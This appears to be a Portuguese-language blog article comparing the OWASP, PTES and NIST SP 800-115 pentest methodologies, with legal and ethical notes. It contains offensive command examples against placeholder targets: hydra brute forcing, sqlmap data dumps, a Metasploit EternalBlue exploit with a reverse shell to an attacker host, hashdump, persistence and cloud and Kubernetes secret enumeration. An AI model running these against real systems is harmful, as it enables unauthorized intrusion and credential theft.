Metodologias de Pentest: OWASP vs PTES vs NIST - Guia Definitivo para Profissionais de Cibersegurança

Comparativo Técnico das Principais Metodologias de Teste de Penetração com Ferramentas e Implementação Prática

O teste de penetração (pentest) evoluiu de uma atividade ad-hoc para uma disciplina estruturada com metodologias consolidadas. Em um cenário onde crimes cibernéticos crescem exponencialmente e organizações enfrentam ameaças cada vez mais sofisticadas, a escolha da metodologia correta pode determinar o sucesso de um programa de segurança.

Este artigo apresenta uma análise técnica detalhada das três principais metodologias de pentest: OWASP Testing Guide, PTES (Penetration Testing Execution Standard) e NIST SP 800-115. Você descobrirá quando aplicar cada abordagem, quais ferramentas utilizar e como implementar testes de penetração efetivos que realmente fortaleçam sua postura de segurança.

Como demonstrado em nossa experiência com auditoria de segurança de rede, a metodologia correta é fundamental para identificar vulnerabilidades críticas antes que sejam exploradas por atacantes reais.

 Inicial | Quem Somos | Contato | Windows 11 | Meus Livros | Nossos Sites | Mais sobre mim

🌐 CONECTE-SE COMIGO

LinkedInGitHubFacebookInstagramMeus LivrosYouTube

1. Panorama das Metodologias de Pentest

1.1 Por Que Metodologias São Cruciais

A ausência de uma metodologia estruturada em pentests pode resultar em:

• Falsos negativos críticos
• Falta de reprodutibilidade
• Relatórios inconsistentes
• Desperdício de recursos
• Exposição legal desnecessária

Como evidenciado em casos de crimes virtuais e responsabilização legal, organizações podem ser responsabilizadas por falhas de segurança evitáveis.

1.2 Evolução Histórica das Metodologias

Era Pioneira (1990-2000)

• Testes informais e ad-hoc
• Foco em vulnerabilidades técnicas básicas
• Documentação limitada

Era da Formalização (2000-2010)

• Surgimento do OWASP
• Desenvolvimento do NIST SP 800-115
• Padronização de processos

Era Moderna (2010-presente)

• PTES como padrão executivo
• Integração com frameworks de compliance
• Automação e AI em pentests

2. OWASP Testing Guide - A Abordagem Orientada a Aplicações

2.1 Filosofia e Estrutura

O OWASP Testing Guide foca especificamente em segurança de aplicações web, oferecendo uma abordagem sistemática baseada nos Top 10 de vulnerabilidades mais críticas.

Principais Características:

• Orientação específica para web applications
• Metodologia baseada em riscos
• Comunidade global de contribuidores
• Atualização constante com novas ameaças

2.2 Fases do OWASP Testing Framework

Fase 1: Information Gathering

bash

# Reconhecimento passivo
whois target.com
dig target.com
nslookup target.com

# Análise de metadados
exiftool *.pdf
metagoofil -d target.com -t pdf,doc,xls

Fase 2: Configuration and Deployment Management Testing

bash

# Verificação de configurações de servidor
nikto -h https://target.com
dirb https://target.com /usr/share/dirb/wordlists/common.txt

# SSL/TLS Testing
sslscan target.com
testssl.sh target.com

Fase 3: Identity Management Testing

bash

# Enumeração de usuários
./LinEnum.sh  # Para Linux
enum4linux target-ip

# Testing de autenticação
hydra -L userlist.txt -P passlist.txt target.com http-form-post

2.3 Ferramentas Essenciais OWASP

Reconhecimento e Enumeração:

• OWASP Amass: Descoberta de subdomínios
• OWASP ZAP: Proxy interceptador e scanner
• Gobuster: Brute force de diretórios

Exploração de Vulnerabilidades:

• SQLmap: Exploração de SQL Injection
• Burp Suite: Testes manuais e automatizados
• OWASP WebGoat: Ambiente de treinamento

2.4 Caso Prático: SQL Injection com OWASP

bash

# 1. Identificação da vulnerabilidade
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" --dbs

# 2. Exploração da base de dados
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -D database_name --tables

# 3. Extração de dados sensíveis
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -D database_name -T users --dump

3. PTES - O Padrão Executivo Completo

3.1 Visão Geral e Filosofia

O Penetration Testing Execution Standard (PTES) oferece a metodologia mais abrangente, cobrindo desde o planejamento inicial até a remediação pós-teste.

Diferencial do PTES:

• Abordagem holística de segurança
• Foco em resultados de negócio
• Integração com gestão de riscos
• Documentação executiva robusta

3.2 As 7 Fases do PTES

Fase 1: Pre-engagement Interactions

bash

# Documentação de escopo
echo "Target: $TARGET_DOMAIN" > scope.txt
echo "IP Range: $IP_RANGE" >> scope.txt
echo "Exclusions: $EXCLUSIONS" >> scope.txt

Fase 2: Intelligence Gathering

bash

# OSINT automatizado
recon-ng
marketplace install all
modules load recon/domains-hosts/hackertarget
options set SOURCE target.com
run

# Social Engineering Information
theHarvester -d target.com -l 200 -b google

Fase 3: Threat Modeling

python

# Modelagem de ameaças com STRIDE
threats = {
    'Spoofing': ['DNS Spoofing', 'ARP Spoofing'],
    'Tampering': ['Data Modification', 'Configuration Changes'],
    'Repudiation': ['Log Tampering', 'Digital Signature Bypass'],
    'Information_Disclosure': ['Data Leakage', 'Memory Dumps'],
    'Denial_of_Service': ['Resource Exhaustion', 'Application Crash'],
    'Elevation_of_Privilege': ['Privilege Escalation', 'Admin Access']
}

Fase 4: Vulnerability Analysis

bash

# Scanning abrangente
nmap -sS -sV -sC -O -A target.com
nmap --script vuln target.com

# Análise de serviços específicos
nmap -p 445 --script smb-vuln* target-range

Fase 5: Exploitation

bash

# Metasploit Framework
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target-ip
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

Fase 6: Post-Exploitation

bash

# Meterpreter post-exploitation
getuid
sysinfo
hashdump
screenshot

# Persistência
run persistence -S -U -X -i 10 -p 4444

Fase 7: Reporting

python

# Geração automatizada de relatórios
import json
from datetime import datetime

report = {
    'executive_summary': {
        'risk_level': 'HIGH',
        'critical_findings': 3,
        'high_findings': 7,
        'medium_findings': 12
    },
    'technical_findings': [],
    'recommendations': []
}

3.3 Ferramentas Avançadas para PTES

Reconhecimento Avançado:

• Maltego: Análise de relacionamentos
• Shodan: Descoberta de dispositivos IoT
• Censys: Mapeamento de infraestrutura

Exploração e Post-Exploitation:

• Cobalt Strike: Simulação de adversários
• Empire: Framework PowerShell
• BloodHound: Mapeamento de Active Directory

4. NIST SP 800-115 - A Abordagem Governamental

4.1 Contexto e Aplicabilidade

O NIST Special Publication 800-115 foi desenvolvido para atender necessidades específicas de organizações governamentais e empresas regulamentadas.

Características Distintivas:

• Foco em compliance regulatório
• Documentação extensiva para auditoria
• Integração com frameworks NIST
• Abordagem conservadora e controlada

4.2 Fases do NIST SP 800-115

Fase 1: Planning

yaml

# Planejamento estruturado NIST
planning_document:
  scope:
    - network_segments: ["DMZ", "Internal", "Management"]
    - systems: ["Web servers", "Database servers", "Domain controllers"]
  rules_of_engagement:
    - testing_window: "22:00-06:00 weekdays"
    - emergency_contacts: ["SOC: +55...", "IT Manager: +55..."]
  success_criteria:
    - vulnerability_coverage: "95%"
    - false_positive_rate: "<5%"

Fase 2: Discovery

bash

# Discovery metodológico NIST
# Fase 2a: Network Discovery
nmap -sn target-network/24 > live_hosts.txt

# Fase 2b: Service Discovery
nmap -sS -p- -T4 -iL live_hosts.txt -oA service_discovery

# Fase 2c: OS Detection
nmap -O -sV -iL live_hosts.txt -oA os_detection

Fase 3: Attack

bash

# Exploração controlada NIST
# Documentação obrigatória de cada tentativa
echo "$(date): Attempting MS17-010 against $(target)" >> attack_log.txt
msfconsole -r ms17_010_script.rc | tee -a attack_output.txt

Fase 4: Reporting

O NIST exige documentação detalhada incluindo:

• Executive Summary com métricas quantitativas
• Technical Details com evidências completas
• Risk Assessment baseado em CVSS
• Remediation Roadmap com prazos

4.3 Ferramentas Certificadas NIST

Scanners Validados:

• Nessus Professional: Scanner de vulnerabilidades
• OpenVAS: Solução open-source
• Rapid7 Nexpose: Gestão de vulnerabilidades

Frameworks de Exploração:

• Metasploit Pro: Versão comercial
• Core Impact: Plataforma empresarial
• Canvas: Framework especializado

5. Comparativo Técnico: OWASP vs PTES vs NIST

5.1 Matriz de Comparação

Aspecto
OWASP
PTES
NIST SP 800-115
Escopo
Web Apps
Holístico
Infraestrutura
Complexidade
Média
Alta
Alta
Tempo de Execução
1-2 semanas
4-8 semanas
6-12 semanas
Documentação
Técnica
Executiva
Compliance
Automação
Alta
Média
Baixa
Custo
Baixo
Médio
Alto

5.2 Quando Aplicar Cada Metodologia

OWASP Testing Guide - Ideal Para:

• Startups com aplicações web
• Desenvolvimento ágil
• Testes contínuos de segurança
• Orçamentos limitados
• Equipes técnicas experientes

PTES - Recomendado Para:

• Empresas de médio/grande porte
• Avaliações anuais de segurança
• Apresentações executivas
• Integração com gestão de riscos
• Simulação de ataques reais

NIST SP 800-115 - Essencial Para:

• Organizações regulamentadas
• Setor financeiro e saúde
• Contratos governamentais
• Auditorias de compliance
• Ambientes críticos

6. Ferramentas Avançadas e Automação

6.1 Plataformas Integradas

Pentest-as-a-Service:

bash

# Nuclei - Scanner moderno
nuclei -t /path/to/templates/ -l targets.txt -o results.json

# Subfinder - Descoberta de subdomínios
subfinder -d target.com -silent | httpx -silent | nuclei -t cves/

Frameworks Customizados:

python

# AutoRecon - Reconhecimento automatizado
python3 autorecon.py target.com

# Reconftw - Pipeline completo
./reconftw.sh -d target.com -r

6.2 Integração com SIEM e SOC

Como demonstrado em nossa experiência com SIEM em ambientes críticos, a integração entre pentest e monitoramento é fundamental.

yaml

# Configuração SIEM para detecção de pentest
siem_rules:
  - rule: "Pentest Detection"
    condition: "multiple_failed_logins AND port_scan AND vulnerability_scan"
    alert_level: "INFO"
    action: "log_and_continue"

7. Aspectos Legais e Éticos

7.1 Framework Legal Brasileiro

Conforme estabelecido no Marco Civil da Internet e legislações complementares sobre segurança cibernética, pentests devem observar:

Requisitos Legais Obrigatórios:

• Autorização expressa por escrito
• Definição clara de escopo
• Limitações de tempo e métodos
• Acordo de confidencialidade
• Seguro de responsabilidade civil

7.2 Código de Ética Profissional

text

PRINCÍPIOS FUNDAMENTAIS:
1. Autorização prévia obrigatória
2. Minimização de impacto nos negócios
3. Confidencialidade absoluta dos dados
4. Relatório responsável de vulnerabilidades
5. Não utilização de informações para fins maliciosos

8. Implementação Prática em Ambientes Corporativos

8.1 Caso Prático: Pentest em Active Directory

powershell

# Reconhecimento inicial
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter * -Properties *

# BloodHound para mapeamento
.\SharpHound.exe -c All
neo4j start
# Importar dados no BloodHound GUI

8.2 Pentest em Ambientes Cloud

Como evidenciado em nossa experiência com Windows Server 2025 no Azure:

bash

# Azure enumeration
az account list
az vm list --output table
az storage account list

# AWS reconnaissance
aws s3 ls
aws ec2 describe-instances
aws iam list-users

8.3 Containers e Kubernetes

Seguindo nossas análises sobre problemas com containers:

bash

# Kubernetes pentest
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl auth can-i --list

# Docker security assessment
docker info
docker images
docker ps -a

9. Métricas e KPIs de Pentest

9.1 Indicadores Técnicos

python

# Métricas automatizadas
import json
from datetime import datetime

metrics = {
    'coverage_metrics': {
        'hosts_scanned': 256,
        'services_identified': 1247,
        'vulnerabilities_found': 89,
        'critical_vulns': 3,
        'high_vulns': 12,
        'medium_vulns': 34,
        'low_vulns': 40
    },
    'efficiency_metrics': {
        'time_to_first_shell': '2.5 hours',
        'privilege_escalation_time': '45 minutes',
        'persistence_establishment': '15 minutes',
        'data_exfiltration_time': '1.2 hours'
    }
}

9.2 ROI e Impacto nos Negócios

Cálculo de ROI do Pentest:

ROI = (Custo evitado de incidentes - Custo do pentest) / Custo do pentest × 100

Exemplo:
- Custo médio de vazamento de dados: R$ 12,5 milhões
- Custo do pentest anual: R$ 150.000
- Vulnerabilidades críticas corrigidas: 3
- ROI = (12.500.000 - 150.000) / 150.000 × 100 = 8.233%

10. Tendências e Futuro dos Pentests

10.1 Inteligência Artificial em Pentests

Como exploramos em nosso artigo sobre SIEM e IA, a automação está transformando pentests:

python

# AI-powered vulnerability assessment
from sklearn.ensemble import RandomForestClassifier
import pandas as pd

# Modelo para priorização de vulnerabilidades
model = RandomForestClassifier()
features = ['cvss_score', 'exploitability', 'asset_criticality', 'exposure_level']
model.fit(training_data[features], training_data['priority'])

# Predição de prioridades
predictions = model.predict(new_vulnerabilities[features])

10.2 Purple Team e Continuous Testing

A integração entre Red Team (ataque) e Blue Team (defesa) está criando uma nova abordagem:

yaml

# Purple Team automation
purple_team_pipeline:
  - phase: "Attack Simulation"
    tools: ["Atomic Red Team", "Caldera"]
  - phase: "Detection Testing"
    tools: ["Sigma Rules", "SIEM Queries"]
  - phase: "Response Validation"
    tools: ["SOAR Playbooks", "Incident Response"]

11. Implementação de Programa de Pentest Contínuo

11.1 DevSecOps Integration

yaml

# CI/CD Pipeline com pentest
stages:
  - build
  - test
  - security_scan
  - pentest
  - deploy

pentest_job:
  stage: pentest
  script:
    - docker run -v $(pwd):/tmp owasp/zap2docker-stable zap-baseline.py -t http://staging-app
    - nuclei -t vulnerabilities/ -u http://staging-app
  artifacts:
    reports:
      junit: pentest-results.xml

11.2 Gestão de Vulnerabilidades

Como demonstrado em nossa experiência com patch management:

python

# Vulnerability lifecycle management
class VulnerabilityManager:
    def __init__(self):
        self.vulnerabilities = []
    
    def assess_risk(self, vuln):
        risk_score = (vuln.cvss * vuln.asset_value * vuln.threat_level) / 100
        return risk_score
    
    def prioritize_remediation(self):
        return sorted(self.vulnerabilities, 
                     key=lambda v: self.assess_risk(v), 
                     reverse=True)

Conclusão

A escolha entre OWASP, PTES e NIST SP 800-115 não deve ser vista como uma decisão excludente, mas como a seleção da ferramenta adequada para cada contexto. Como demonstrado em nossa experiência com segurança da informação em ambientes críticos, o sucesso de um programa de pentest está na aplicação inteligente da metodologia correta no momento adequado.

Organizações de alta maturidade frequentemente combinam elementos das três metodologias:

• OWASP para testes contínuos de aplicações
• PTES para avaliações anuais abrangentes
• NIST para compliance e auditorias regulamentares

A evolução para pentests contínuos e automatizados representa o futuro da disciplina, onde metodologias tradicionais se integram com inteligência artificial, análise de ameaças em tempo real e resposta automatizada a incidentes.

Como evidenciado em casos reais de detecção de APTs e resposta a incidentes críticos, organizações que investem em pentests estruturados e contínuos desenvolvem uma postura de segurança significativamente mais robusta.

O investimento em metodologias adequadas de pentest não é apenas uma necessidade técnica, mas uma estratégia de negócio que protege reputação, ativos digitais e continuidade operacional em um cenário de ameaças em constante evolução.

---

Autor: Fábio Wlademir | Especialista em TI • NOC • SOC • Segurança Digital • Automação com IA | • Estudante de Direito
Mais informações: https://f2suporte.blogspot.com/2025/07/fabio-wlademir-especialista-em-ti-noc.html

---

Conteúdos Relacionados Recomendados

Fundamentos Legais e Regulatórios

• Marco Civil da Internet: Seus Direitos Digitais - Base legal para pentests
• Leis Brasileiras de Segurança Cibernética - Framework regulatório
• LGPD e Direito Digital: Proteção de Dados - Compliance em pentests

Infraestrutura e Hardening

• Windows Server 2025 Hardening - Fortalecimento de sistemas
• Auditoria de Segurança de Rede - Metodologias de avaliação
• Patch Management Windows Server 2025 - Gestão de vulnerabilidades

Monitoramento e Detecção

• SIEM e Inteligência Artificial - Detecção automatizada
• Como Detectar APTs com SIEM - Ameaças avançadas
• SOC na Prática: Resposta a Ameaças - Operações de segurança

Ambientes Modernos

• SIEM e Containers: Kubernetes - Segurança em containers
• Windows Server 2025 no Azure - Pentest em cloud
• 8 Problemas com Containers e Kubernetes - Vulnerabilidades específicas

Aspectos Práticos e Casos Reais

• Como Resolvi um Incidente Crítico - Experiência prática
• Crimes Cibernéticos 2025: Defesa contra Golpes - Ameaças atuais
• 10 Comandos Essenciais para Diagnóstico - Ferramentas práticas

.....................................

.................................

CONECTE-SE COMIGO

Conheça Minha Trajetória

LinkedIn GitHub Facebook Instagram Meus Livros YouTube

PÁGINAS PRINCIPAIS

Inicial

Quem Somos

Contato

Meus Livros

Windows 11

Windows 10

Serviços TI

Nossos Sites

SERVIÇOS PROFISSIONAIS (f2ti.blogspot.com)

• ▸ Consultoria em TI: Infraestrutura, Segurança e Monitoramento (Zabbix/Nagios/Splunk)
• ▸ Soluções Web: Sites Institucionais, Blogs e Lojas Virtuais
• ▸ Treinamentos Corporativos: Windows Server, Linux, SIEM
• ▸ Análise de Sistemas: Troubleshooting e Hardening
• ▸ Suporte Especializado: Ambientes Críticos e Bancários

F2 Suporte | F2 TI | Publicações

© 2025 Fábio Wlademir - Todos os direitos reservados
Especialista em Infraestrutura e Segurança da Informação

|| º SERVIÇOS º || 

| Tenhas seu site, blog, loja virtual | Manutenção de computadores  |  

 |  Consultoria digital, Anuncie conosco, sua empresa, comércio, produto, serviço

 | Digitações em geral |  ADVOCACIA  |